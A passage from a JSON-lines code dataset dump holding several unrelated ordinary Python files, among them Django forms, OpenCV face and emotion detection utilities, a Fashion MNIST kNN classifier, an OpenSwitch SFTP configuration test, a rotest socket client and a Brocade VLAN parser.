\"sonarqube_project\",\n \"repository\",\n \"pagerduty_url\",\n \"docs_url\",\n \"tags\",\n ]\n labels = {\n \"pagerduty_url\": \"PagerDuty URL\",\n \"docs_url\": \"Documentation URL\",\n \"sonarqube_project\": \"Sonarqube project Key\",\n }\n widgets = {\n \"repository\": RepoInput(),\n \"sentry_project\": SentryProjectInput(),\n \"tags\": TagInput(),\n }\n\n\nServiceEnvironmentsFormSet = forms.inlineformset_factory(\n models.Service,\n models.Environment,\n form=EnvironmentForm,\n extra=5,\n max_num=5,\n can_delete=True,\n)\n","sub_path":"zoo/services/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"367077348","text":"\n\n#calss header\nclass _ARCHAEOLOGY():\n\tdef __init__(self,): \n\t\tself.name = \"ARCHAEOLOGY\"\n\t\tself.definitions = [u'the study of the buildings, graves, tools, and other objects that belonged to people who lived in the past, in order to learn about their culture and society']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_archaeology.py","file_name":"_archaeology.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"579192839","text":"# -*-coding:utf-8-*-\nimport os\nimport pygame\n\nchinese_dir = 'chinese'\nif not os.path.exists(chinese_dir):\n os.mkdir(chinese_dir)\n\nfont_dir = 'C:/Windows/Fonts'\n\nfont_files = os.listdir(font_dir)\n\npygame.font.init()\nstart, end = (0x4E00, 0x9FA5) # 汉字编码范围\nfor codepoint in range(int(start), int(end)):\n word = chr(codepoint)\n # for i in range(0, len(font_files)):\n font = pygame.font.SysFont('simhei', 64)\n # 当前目录下要有微软雅黑的字体文件msyh.ttc,或者去c:\\Windows\\Fonts目录下找\n # 64是生成汉字的字体大小\n rtext = font.render(word, True, (0, 0, 0), (255, 255, 255))\n\n print(word.encode(\"gbk\"))\n # print(word.encode().decode('gbk'))\n path = chinese_dir + '/' + word + '_' + 'simhei' + '.png'\n path = path.encode('gbk')\n pygame.image.save(rtext, path)\n","sub_path":"chineserec/gen_chinese_word_pic.py","file_name":"gen_chinese_word_pic.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"457828461","text":"import turtle\n\n\nbutton1 = turtle.Turtle()\nbutton2 = turtle.Turtle()\nbutton1.pu()\nbutton2.pu()\nbutton1.ht()\nbutton2.ht()\nturtle.bgcolor('lightblue')\nscreen = turtle.Screen()\n#Model\n\nclass Model:\n\n\tdb = [0, 0] # part of Model?\n\n\tdef model_function(self, list_index, num):\n\t\tself.db[list_index] = num\n\nmy_model = Model()\n\n#Controller\n\ndef controller_function():\n\tturt_dist1 = turtle.distance(button1)\n\tturt_dist2 = turtle.distance(button2)\n\tif turt_dist1 <= 15:\n\t\tif my_model.db[0] == 1 and my_model.db[1] == 0:\n\t\t\tturtle.bgcolor(\"yellow\")\n\t\telif my_model.db[0] == 0:\n\t\t\tmy_model.model_function(0, 1)\n\tif turt_dist2 <=15:\n\t\tif my_model.db[1] == 1 and my_model.db[0] == 0:\n\t\t\tturtle.bgcolor(\"red\")\n\t\telif my_model.db[1] == 0:\n\t\t\tmy_model.model_function(1, 1)\n\tif my_model.db[0] == 1 and my_model.db[1] == 1:\n\t\tturtle.bgcolor(\"orange\")\n\n#View\n\ndef button_border():\n\tturtle.pd()\n\tturtle.color(\"black\", \"orange\")\n\tturtle.fill(True)\n\tfor i in range(2):\n\t\tturtle.fd(90)\n\t\tturtle.right(90)\n\t\tturtle.fd(30)\n\t\tturtle.right(90)\n\tturtle.fill(False)\n\tturtle.pu()\n\ndef set_up():\n\tturtle.ht()\n\tturtle.speed(9)\n\tturtle.pu()\n\tturtle.pensize(4)\n\tturtle.setpos(-250, -250)\n\tturtle.pd()\n\tfor i in range(4):\n\t\tturtle.fd(500)\n\t\tturtle.left(90)\n\tturtle.pu()\n\tturtle.setpos(-180, -200)\n\tbutton_border()\n\tbutton1.setpos(-135, -215)\n\tturtle.write(\"Button One\", font=(\"Times\", 18, \"bold\"))\n\tturtle.setpos(100, -200)\n\tbutton_border()\n\tbutton2.setpos(145, -215)\n\tturtle.write(\"Button Two\", font=(\"Times\", 18, \"bold\"))\n\ndef fwd():\n\tturtle.pu()\n\tturtle.fd(10)\n\tcontroller_function()\n\ndef rght():\n\tturtle.pu()\n\tturtle.right(90)\n\tcontroller_function()\n\ndef reset_buttons():\n\tmy_model.db[0] = 0\n\tmy_model.db[1] = 0\n\tturtle.bgcolor(\"lightblue\")\n\nset_up()\nturtle.home()\nturtle.st()\nturtle.onkey(fwd, \"Up\")\nturtle.onkey(rght, \"Right\")\nturtle.onkey(reset_buttons, \"r\")\nturtle.listen()\n\n\nturtle.mainloop()","sub_path":"MVC_model.py","file_name":"MVC_model.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"499726978","text":"__author__ = 'Tom Mingasson'\n\nimport numpy as np\nfrom math import *\nimport matplotlib.pyplot as plt\n\n\n\ndef computeStatistics(pts, radii, side, resolution=2048):\n\n # Create a mask of the axons\n xc = pts[:,0]\n yc = pts[:,1]\n xx, yy = np.mgrid[1:resolution+1, 1:resolution+1]\n\n mask = np.full((resolution,resolution), False, dtype=bool)\n\n for i in range(len(radii)):\n mask = np.logical_or(mask, np.sqrt((xx - xc[i] * (resolution/side))**2 + (yy - yc[i] * (resolution/side))**2) <= radii[i] * (resolution/side))\n\n Ls = np.sqrt(np.sum(pi*radii**2))\n Xmin = int((np.mean(pts[:,0]) - 2 * Ls/5) * resolution/side)\n Xmax = int((np.mean(pts[:,0]) + 2 * Ls/5) * resolution/side)\n Ymin = int((np.mean(pts[:,1]) - Ls/3) * resolution/side)\n Ymax = int((np.mean(pts[:,1]) + Ls/3) * resolution/side)\n\n maskTrunc = mask[Xmin:Xmax, Ymin:Ymax]\n maskTrunc = maskTrunc.astype(int)\n\n # Display Truncated Mask\n # plt.figure(1)\n # fig1 = plt.gcf()\n # plt.imshow(maskTrunc)\n # plt.show()\n\n\n # Compute micro structure characteristics\n g = 0.72\n\n Phi = float(np.sum(maskTrunc)) / ((Xmax - Xmin) * (Ymax - Ymin))\n\n NUi = g**2 * Phi\n\n NUm = (1 - g**2) / g**2 * NUi\n\n Fr = NUi / (NUi + (1 - Phi))\n\n return Phi, Fr","sub_path":"Axons Packing Code/Python Scripts For Axons Packing/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"378025793","text":"import cv2\nimport numpy as np\n\nfrom app.engines import EmotionRecognizer, FaceDetector\n\n\ndef blur_faces(face_detection_inference_results: np.ndarray, original_image: np.ndarray) -> np.ndarray:\n return original_image\n\n\ndef emotion_recognition_processing(original_frame: np.ndarray) -> np.ndarray:\n return original_frame\n\n\ndef face_detector_inference(image: np.ndarray) -> np.ndarray:\n face_detector = FaceDetector()\n *_, face_detector_width, face_detector_height = face_detector.input_shape\n\n # 1. Prepare the image\n pre_processed_image = pre_process_input_image(image,\n face_detector_height,\n face_detector_width)\n\n # 2. Infer the model\n face_detection_inference_results = face_detector.inference(pre_processed_image)\n\n return face_detection_inference_results\n\n\ndef emotion_recognizer_inference(cls, face_frame: np.ndarray) -> np.ndarray:\n emotion_recognizer = EmotionRecognizer()\n *_, emotion_recognizer_input_height, emotion_recognizer_input_width = emotion_recognizer.input_shape\n\n prepared_frame = pre_process_input_image(face_frame,\n target_width=emotion_recognizer_input_width,\n target_height=emotion_recognizer_input_height)\n\n # Run the inference the same way you did before\n inference_results = cls._emotion_recognizer.inference(prepared_frame)\n\n return inference_results\n\n\ndef blur(image: np.ndarray) -> np.ndarray:\n height, width = image.shape[:2]\n pixels_count = 16\n\n # Resize the image to pixels_count*pixels_count with interpolation to blur the image\n resized_image = cv2.resize(image, (pixels_count, pixels_count), interpolation=cv2.INTER_LINEAR)\n # Resize the image to original image size\n blurry_image = cv2.resize(resized_image, (width, height), interpolation=cv2.INTER_NEAREST)\n\n return blurry_image\n\n\ndef pre_process_input_image(image: np.ndarray, target_height: int, target_width: int) -> np.ndarray:\n # Resize the image dimensions from image to model input w x h\n resized_image = cv2.resize(image, (target_width, target_height))\n\n # Change data layout from HWC to CHW\n transposed_image = resized_image.transpose((2, 0, 1))\n\n n = 1 # Batch is always 1 in our case\n c = 3 # Channels is always 3 in our case\n\n # Reshape to input dimensions\n reshaped_image = transposed_image.reshape((n, c, target_height, target_width))\n return reshaped_image\n\n\ndef get_emoji_by_index(emotion_inference_result: np.ndarray) -> np.ndarray:\n emotions = ['neutral', 'happy', 'sad', 'surprised', 'angry']\n # Get the index of the emotion with the highest probability\n emotion_index = np.argmax(emotion_inference_result.flatten())\n emoji_path = f'./data/{emotions[emotion_index]}.png'\n return cv2.imread(emoji_path, -1)\n\n\ndef put_emoji_on_top_of_face(inference_results: np.ndarray, face: np.ndarray) -> np.ndarray:\n result_face = face.copy()\n\n # Get width and height of the face\n height, width, _ = face.shape\n\n # Get an emoji by inference results\n emoji = get_emoji_by_index(inference_results)\n\n # Resize the emoji to the face shape\n resized_emoji = cv2.resize(emoji, (width, height))\n\n # Put the emoji over the face\n alpha_s = resized_emoji[:, :, 3] / 255.0\n alpha_l = 1.0 - alpha_s\n for c in range(0, 3):\n result_face[:, :, c] = alpha_s * resized_emoji[:, :, c] + alpha_l * face[:, :, c]\n\n return result_face\n\n\ndef parse_face_detection_results(inference_results: np.ndarray,\n original_image_width: int,\n original_image_height: int,\n prob_threshold: float = 0.6) -> list:\n # Prepare a list to save the detected faces\n detected_faces = []\n\n # Iterate through all the detected faces\n for inference_result in inference_results[0][0]:\n\n # Get the probability of the detected face and convert it to percent\n probability = inference_result[2]\n\n # If confidence is more than the specified threshold, draw and label the box\n if probability < prob_threshold:\n continue\n\n # Get coordinates of the box containing the detected object\n xmin = int(inference_result[3] * original_image_width)\n ymin = int(inference_result[4] * original_image_height)\n xmax = int(inference_result[5] * original_image_width)\n ymax = int(inference_result[6] * original_image_height)\n confidence = round(probability * 100, 1)\n\n detected_face = (xmin, ymin, xmax, ymax, confidence)\n detected_faces.append(detected_face)\n\n return detected_faces\n","sub_path":"app/frame_utils.py","file_name":"frame_utils.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"233624478","text":"import cv2 as cv \nimport numpy as np \nimport pickle \n\nrecognize = cv.face.LBPHFaceRecognizer_create()\nface_cascade = cv.CascadeClassifier(\"cascade/data/haarcascade_frontalface_alt2.xml\")\neyes_cascade = cv.CascadeClassifier(\"cascade/data/haarcascade_eye.xml\")\nupperbody_cascade = cv.CascadeClassifier(\"cascade/data/haarcascade_upperbody.xml\")\n\nrecognize.read(\"yml/trainne.yml\")\n\nlables = {\"name\":1}\nwith open(\"pickle/labels.pickle\", 'rb') as f:\n original_labels = pickle.load(f)\n labels ={value:key for key,value in original_labels.items()}\ncap = cv.VideoCapture(False)\nwhile cap.isOpened():\n # capture frame by frame\n ret, img = cap.read()\n gray = cv.cvtColor(img, cv.COLOR_RGB2GRAY)\n # body\n upperbody = upperbody_cascade.detectMultiScale(gray,1.3,5)\n for x,y, w,h in upperbody:\n region_of_interest_gray = gray[y:y+h, x:x+w]\n region_of_interest_color = img[y:y+h, x:x+w]\n cv.rectangle(img, (x,y),(x+w,y+h),(0,0,255),2)\n #face\n faces = face_cascade.detectMultiScale(region_of_interest_gray)\n\n for fx,fy,fw,fh in faces:\n print(fx,fy,fw,fh)\n # region_of_interest_gray = gray[y:y+h, x:x+w]\n #region_of_interest_color = img[y:y+h, x:x+w]\n #recognize \n id_, confidence = recognize.predict(region_of_interest_gray)\n if confidence >= 50 and confidence<130:\n\n print(id_)\n print(labels[id_])\n cv.putText(img, labels[id_], (fx,fy), cv.FONT_HERSHEY_SIMPLEX, 1,(0,0,255), 2, cv.LINE_AA)\n img_item =\"picture/image.png\"\n cv.imwrite(img_item, region_of_interest_gray)\n cv.rectangle(region_of_interest_color, (fx,fy), (fx+fw, fy+fh), (0,255,0),2)\n #eyes\n eyes = eyes_cascade.detectMultiScale(region_of_interest_gray)\n for (ex, ey, ew, eh) in eyes:\n cv.rectangle(region_of_interest_color, (ex,ey), (ex+ew, ey+eh), (0,255,0),2)\n # display img \n cv.imshow(\"Camera\", img)\n if cv.waitKey(20) & 0xFF ==ord ('q'):\n break\n\n# done then relase\ncap.release()\ncv.destroyAllWindows()\n\n\n","sub_path":"upperbody/identification_and_recog/face_.py","file_name":"face_.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"592797753","text":"# Student Name: Thai Quoc Hoang - uwnetid: qthai912\n# Student ID: 1861609\n# Section: CSE163 AC\n# Instructor: Hunter Schafer\n\n# Program Description: This program does predicting and visualizing for\n# the kNN approach with Fashion MNIST dataset.\n\n\nimport numpy as np\nimport pandas as pd\nfrom operator import itemgetter\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef norm_k(np_arr1, np_arr2, k=2):\n '''\n Pre : gives 2 numpy arrays with equal length represents 2 vectors and\n an integer represents the norm value with default is 2.\n\n Post: return a float represents the norm of square distance\n for 2 given arrays.\n '''\n return np.sum((np_arr1 - np_arr2)**2) ** (1 / k)\n\n\ndef magnitude(np_arr):\n '''\n Pre : gives a numpy array of floats.\n\n Post: returns a float represents the magnitude of the array.\n '''\n return np.sum(np_arr**2)**0.5\n\n\ndef cosine_distance(np_arr1, np_arr2):\n '''\n Pre : gives 2 numpy arrays of float with equal length represents 2 vectors.\n\n Post: returns a float represents the cosine distance of two given vectors.\n '''\n return np.arccos(\n np.sum(np_arr1 * np_arr2) / (magnitude(np_arr1) * magnitude(np_arr2))\n )\n\n\ndef get_k_nearest_neighbors(x_train,\n y_train,\n label_names,\n testing_instance,\n k=5,\n distance_function='norm_k',\n norm=2\n ):\n '''\n Pre : gives a numpy array of float represents x_train, a numpy array\n of float represents label for the corresponding x_train, a numpy array\n of string represents label names, a numpy array of float represents\n a single testing instance, an integer represents number of\n nearest neighbors needed (k) with default = 5, a string represents\n distance function with default = 'norm_k' (other: 'cosine_distance'),\n an integer represents the value of norm with default = 2.\n\n Post: returns a list of tuples represents k nearest neighbors for the\n testing instance in all training instance. The first element in each\n tuple is the label as string and the second element is the distance\n as float.\n '''\n test = testing_instance.reshape(-1,)\n distances = []\n\n for i in range(len(x_train)):\n instance = x_train[i].reshape(-1,)\n if distance_function == 'cosine_distance':\n distance = cosine_distance(test, instance)\n else:\n distance = norm_k(test, instance, norm)\n\n distances.append((label_names[y_train[i]], distance))\n\n return sorted(distances, key=itemgetter(1))[0:k]\n\n\ndef get_result(nn_list, verbose=0):\n '''\n Pre : gives a list of strings represents the nearest neighbors and an\n integer (0 or 1) represents the verbose.\n\n Post: if verbose != 1: returns the nearest neighbor; otherwise\n returns the whole list of all labels appeared in k-nearest neighbors\n that sorted by the scores of each label.\n '''\n instances_dict = {}\n for instance in nn_list:\n if instance[0] not in instances_dict:\n instances_dict[instance[0]] = []\n instances_dict[instance[0]].append(instance[1])\n\n instances_result_list = []\n for instance in instances_dict:\n score = len(instances_dict[instance]) / len(nn_list)\n instances_result_list.append((instance, score))\n\n instances_result_list = sorted(\n instances_result_list, key=itemgetter(1), reverse=True\n )\n if verbose == 1:\n return instances_result_list\n return instances_result_list[0][0]\n\n\ndef predict(x_train, y_train, x_test, y_test, label_names):\n '''\n Pre : gives a numpy array of float represents x_train, a numpy array of\n float represents label indexes for the corresponding x_train, a numpy array\n of float represents all testing instances, a numpy array of float\n represents all labels indexes for testing instances, and a numpy array of\n string represents label's names for given data.\n\n Post: returns a DataFrame as the result of predictions with 3 columns:\n 'Instance ID', 'Predict', 'Real Label'.\n '''\n right = 0\n total = 0\n\n result = pd.DataFrame(\n index=np.arange(0, len(x_test)),\n columns=['Instance ID', 'Predict', 'Real Label']\n )\n\n for i in range(len(x_test)):\n nearest_neighbors = get_k_nearest_neighbors(\n x_train, y_train, label_names, x_test[i], 10)\n y_pred = get_result(nearest_neighbors)\n if (y_pred == label_names[y_test[i]]):\n right += 1\n total += 1\n result.loc[i] = [i, y_pred, label_names[y_test[i]]]\n\n print('Instance ID: ', i, '; Predict: ', y_pred,\n '; Real Label: ', label_names[y_test[i]])\n print()\n print('Correct Prediction: ' + str(right))\n print('Total Prediction:' + str(total))\n print('Accuracy: ' + str(right / total * 100))\n print()\n return result\n\n\ndef visualize_images(data, labels, label_names, predict=None, channels=3,\n start=0, cols=4, rows=4, size=10, fontsize=10):\n '''\n Pre : gives a numpy array represents data of color images (4 dimensions\n array), a numpy array represents labels for the corresponding images, a\n numpy array represents the label names, a numpy array represents the\n prediction for the given images, an integer represents number of channels\n of the given images with default = 3, an integer represents start index\n for visualization with default = 0, an integer represents number of\n columns with default = 4, an integer represents number of columns with\n default = 4, an integer represents size of image with default = 10, an\n integer represents size of title's font with default = 10.\n\n Post: plots predicted images and save the plot to\n 'kNN predictions Examples.png'.\n '''\n if (channels != 3):\n data = data[:, :, :, 0]\n fig = plt.figure(figsize=(size, size))\n plt.subplots_adjust(bottom=.05, top=.95, hspace=.9)\n\n cols = cols\n rows = rows\n for i in range(1, cols * rows + 1):\n img = data[start + i - 1]\n fig.add_subplot(rows, cols, i)\n if (channels != 3):\n plt.imshow(img, cmap='gray')\n else:\n plt.imshow(img)\n\n if predict is not None:\n pred = predict[start + i - 1]\n else:\n pred = 'NaN'\n real = label_names[labels[start + i - 1]]\n plt.title('Predict: ' + pred + '\\n Real: ' + real, fontsize=fontsize)\n plt.axis('off')\n plt.savefig('kNN Predictions Examples.png')\n plt.show()\n\n\ndef check_predictions_probability(\n x_train, y_train, x_test, y_test, label_names, number_instances=10\n):\n '''\n Pre : gives a numpy array of float represents x_train, a numpy array\n of float represents label indexes for the corresponding x_train, a numpy\n array of float represents all testing instances, a numpy array of float\n represents labels indexes for testing instances, a numpy array of string\n represents label's names for given data, and an integer represents the\n number of instances to check with default = 10.\n\n Post: plots several predictions with probabilities of each label and\n saves the plot as png files.\n '''\n print('Use several examples to see how the model classify:')\n\n for i in range(number_instances):\n nearest_neighbors = get_k_nearest_neighbors(\n x_train, y_train, label_names, x_test[i], 10)\n scores = get_result(nearest_neighbors, verbose=1)\n\n scores_list = [0.0] * 10\n for item in scores:\n label = item[0]\n scores_list[int(np.where(label_names == label)[0])] = item[1]\n data = pd.DataFrame({'Labels': label_names, 'Scores': scores_list})\n sns.catplot(\n x='Labels',\n y='Scores',\n kind='bar',\n data=data\n )\n plt.xticks(rotation=-45)\n plt.title('Testing Instance ID: ' + str(i) + '\\n'\n 'Predicted:' + str(scores[0][0])\n + '\\nReal Label:' + str(label_names[y_test[i]]))\n plt.savefig('kNN prediction probability instance ' + str(i) + '.png',\n bbox_inches='tight')\n\n\ndef main():\n x_train = np.load('Models/x_train.npy')\n x_val = np.load('Models/x_val.npy')\n x_test = np.load('Models/x_test.npy')\n y_train = np.load('Models/y_train.npy')\n y_val = np.load('Models/y_val.npy')\n y_test = np.load('Models/y_test.npy')\n label_names = np.load('Models/label_names.npy')\n\n x_train = np.concatenate((x_train, x_val))\n y_train = np.concatenate((y_train, y_val))\n\n # training part (remove comments notations to re-predicting)\n '''\n print('Testing model')\n testing_result = predict(x_train, y_train, x_test, y_test, label_names)\n testing_result.to_csv('kNN results.csv')\n '''\n\n # check predictions probability\n sns.set()\n check_predictions_probability(x_train, y_train, x_test, y_test,\n label_names)\n\n # correct predictions statistics\n result = pd.read_csv('kNN results.csv')\n correct_predictions = len(\n result[result['Predict'] == result['Real Label']])\n total_predictions = len(result)\n print('Prediction Results: ')\n print(' Correct Predictions: ' + str(correct_predictions))\n print(' Total Predictions: ' + str(total_predictions))\n print(' Accuracy: '\n + str(correct_predictions / total_predictions * 100) + '%')\n print()\n\n # visualize several predictions\n y_pred = result['Predict'].values\n visualize_images(x_test, y_test, label_names, y_pred, channels=1,\n start=0, cols=8, rows=8, fontsize=8)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Fashion MNIST/CODES/fashion_mnist_k_nearest_neighbors.py","file_name":"fashion_mnist_k_nearest_neighbors.py","file_ext":"py","file_size_in_byte":9829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"155534963","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2016 Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nTOPOLOGY = \"\"\"\n#\n# +-------+\n# | sw1 |\n# +-------+\n#\n\n# Nodes\n[type=openswitch name=\"Switch 1\"] sw1\n\"\"\"\n\n\ndef test_sftp_server_configuration(topology, step):\n sw1 = topology.get('sw1')\n\n assert sw1 is not None\n\n step('Enable the SFTP server and then verify the show command.')\n sw1('configure terminal')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show sftp server\")\n assert 'Enabled' in cmd_out\n\n step('Enable the SFTP server.')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show sftp server\")\n assert 'SFTP server : Enabled' in cmd_out\n\n step('Disable the SFTP server.')\n sw1(\"no sftp server enable\")\n cmd_out = sw1(\"do show sftp server\")\n assert 'SFTP server : Disabled' in cmd_out\n\n step('Enable the SFTP server and then verify the show running command.')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show running-config\")\n assert 'enable' in cmd_out\n\n step('Enable the SFTP server and check show running command.\\n'\n 'Disable the SFTP server and verify the config is removed '\n 'in the show running command.')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show running-config\")\n assert 'enable' in cmd_out\n\n sw1(\"no sftp server enable\")\n cmd_out = sw1(\"do show running-config\")\n assert 'enable' not in cmd_out\n","sub_path":"ops-ipapps/ops-tests/component/test_vtysh_ct_sftp.py","file_name":"test_vtysh_ct_sftp.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"553923562","text":"\"\"\"Define an abstract client.\"\"\"\n# pylint: disable=too-many-arguments\nimport socket\nfrom itertools import count\n\nfrom rotest.common import core_log\nfrom rotest.management.common import messages\nfrom rotest.management.common.errors import ErrorFactory\nfrom rotest.management.common.parsers import DEFAULT_PARSER\nfrom rotest.management.common.parsers.abstract_parser import ParsingError\nfrom rotest.common.config import (RESOURCE_REQUEST_TIMEOUT,\n RESOURCE_MANAGER_PORT)\nfrom rotest.management.common.utils import (MESSAGE_DELIMITER,\n MESSAGE_MAX_LENGTH)\n\n\nclass AbstractClient(object):\n \"\"\"Abstract client class.\n\n Basic requests handling for communicating with the remote server.\n\n Attributes:\n logger (logging.Logger): resource manager logger.\n lock_timeout (number): default waiting time on requests.\n _host (str): server's host.\n _port (number): server's port.\n _messages_counter (itertools.count): msg_id counter.\n _parser (AbstractParser): messages parser.\n \"\"\"\n REPLY_OVERHEAD_TIME = 2\n _DEFAULT_REPLY_TIMEOUT = 18\n\n def __init__(self, host, port=RESOURCE_MANAGER_PORT,\n parser=DEFAULT_PARSER(),\n lock_timeout=RESOURCE_REQUEST_TIMEOUT,\n logger=core_log):\n \"\"\"Initialize a socket connection to the server.\n\n Args:\n host (str): Server's IP address.\n port (number): Server's port.\n parser (AbstractParser): parser to parse the messages with.\n lock_timeout (number): default waiting time on requests.\n logger (logging.Logger): client's logger.\n \"\"\"\n self._host = host\n self._port = port\n self._socket = None\n self.logger = logger\n self._parser = parser\n self._messages_counter = count()\n self.lock_timeout = lock_timeout\n\n def connect(self, timeout=_DEFAULT_REPLY_TIMEOUT):\n \"\"\"Connect to manager server.\n\n Args:\n timeout (number): time to wait for a reply from the server.\n \"\"\"\n if self._socket is not None:\n self.logger.debug(\"Ignoring attempt to re-connect to server: %r\",\n self._host)\n return\n\n self.logger.debug(\"Connecting to server. Hostname: %r\", self._host)\n self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._set_reply_timeout(timeout)\n self._socket.connect((self._host, self._port))\n\n def is_connected(self):\n \"\"\"Check if the socket is connected or not.\n\n Returns:\n bool. True if the socket is connected, False otherwise.\n \"\"\"\n return self._socket is not None\n\n def disconnect(self):\n \"\"\"Disconnect from manager server.\n\n Raises:\n RuntimeError: wasn't connected in the first place.\n \"\"\"\n if not self.is_connected():\n raise RuntimeError(\"Socket was not connected\")\n\n self._socket.close()\n\n def __enter__(self):\n \"\"\"Connect to manager server.\"\"\"\n self.connect()\n return self\n\n def __exit__(self, *args, **kwargs):\n \"\"\"Disconnect from manager server.\"\"\"\n self.disconnect()\n\n def _set_reply_timeout(self, timeout):\n \"\"\"Set the reply timeout.\n\n Args:\n timeout (number): Set the time (in seconds) to wait for a reply\n from the manager server.\n \"\"\"\n self.logger.debug(\"Setting client reply timeout to: %s\", timeout)\n\n if timeout is not None:\n timeout += self.REPLY_OVERHEAD_TIME\n\n self._socket.settimeout(timeout)\n\n def _request(self, request_msg, timeout=_DEFAULT_REPLY_TIMEOUT):\n \"\"\"Send a message to manager server and wait for an answer.\n\n * Encodes the request message and sends it to manager server.\n * Waits for manager server reply message.\n\n Args:\n request_msg (AbstractMessage): request for manager server.\n timeout (number): the request's waiting timeout.\n\n Returns:\n AbstractMessage. Server reply for given request.\n\n Raises:\n TypeError: client received an illegal reply message.\n ParsingError: client failed to decode server's reply.\n ParsingError: server failed to decode client's request.\n RuntimeError: server reply on a different request.\n RuntimeError: server didn't respond, timeout expired.\n ServerError: server failed to execute the request.\n \"\"\"\n self._set_reply_timeout(timeout)\n\n request_msg.msg_id = self._messages_counter.next()\n encoded_request = self._parser.encode(request_msg) + MESSAGE_DELIMITER\n sent_bytes = 0\n\n if len(encoded_request) > MESSAGE_MAX_LENGTH:\n raise RuntimeError(\"Client error: Trying to send a too long \"\n \"message to the server (%d > %d)\" %\n (len(encoded_request), MESSAGE_MAX_LENGTH))\n\n while sent_bytes < len(encoded_request):\n sent_bytes += self._socket.send(encoded_request[sent_bytes:])\n\n encoded_reply = \"\"\n\n try:\n while not encoded_reply.endswith(MESSAGE_DELIMITER):\n encoded_reply += self._socket.recv(MESSAGE_MAX_LENGTH)\n\n reply_msg = self._parser.decode(encoded_reply)\n\n except socket.timeout:\n raise RuntimeError(\"Server failed to respond to %r after %r \"\n \"seconds\" %\n (request_msg, self._socket.gettimeout()))\n\n if isinstance(reply_msg, messages.ParsingFailure):\n raise ParsingError(\"Server failed to parse a message, assumed ID \"\n \"%r. Failure Reason is: %r.\"\n % (request_msg.msg_id, reply_msg.reason))\n\n if not isinstance(reply_msg, messages.AbstractReply):\n raise TypeError(\"Server sent an illegal message. Replies should \"\n \"be of type AbstractReply. Received message is: %r\"\n % reply_msg)\n\n if reply_msg.request_id != request_msg.msg_id:\n raise RuntimeError(\"Client expect for reply on message with id %r,\"\n \" but got a reply on message with id %r\" %\n (request_msg.msg_id, reply_msg.request_id))\n\n if isinstance(reply_msg, messages.ErrorReply):\n raise ErrorFactory.build_error(reply_msg.code, reply_msg.content)\n\n return reply_msg\n\n def update_fields(self, model, filter_dict=None, **kwargs):\n \"\"\"Update content in the server's DB.\n\n Args:\n model (type): Django model to apply changes on.\n filter_dict (dict): arguments to filter by.\n kwargs (dict): the additional arguments are the changes to apply on\n the filtered instances.\n \"\"\"\n if filter_dict is None:\n filter_dict = {}\n\n msg = messages.UpdateFields(model=model,\n filter=filter_dict,\n kwargs=kwargs)\n\n self._request(msg)\n","sub_path":"src/rotest/management/client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"272912928","text":"# ---------------------------------------------------------------------\n# Brocade.IronWare.get_vlans\n# ---------------------------------------------------------------------\n# Copyright (C) 2007-2022 The NOC Project\n# See LICENSE for details\n# ---------------------------------------------------------------------\n\n# Python modules\nimport re\n\n# NOC modules\nfrom noc.core.script.base import BaseScript\nfrom noc.sa.interfaces.igetvlans import IGetVlans\n\n\nclass Script(BaseScript):\n name = \"Brocade.IronWare.get_vlans\"\n interface = IGetVlans\n\n rx_vlan_line = re.compile(r\"^\\S+\\s(?P\\d+)\\,\\sName\\s(?P[A-z0-9\\-\\_]+?),.+$\")\n\n def execute_cli(self):\n vlans = self.cli(\"show vlans\")\n r = []\n for match in self.rx_vlan_line.finditer(vlans):\n vlan_id = int(match.group(\"vlan_id\"))\n name = match.group(\"name\")\n if name == \"[None]\":\n r += [{\"vlan_id\": vlan_id}]\n else:\n r += [{\"vlan_id\": vlan_id, \"name\": name}]\n return r\n","sub_path":"sa/profiles/Brocade/IronWare/get_vlans.py","file_name":"get_vlans.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"319101122","text":"'''\nAuthor : 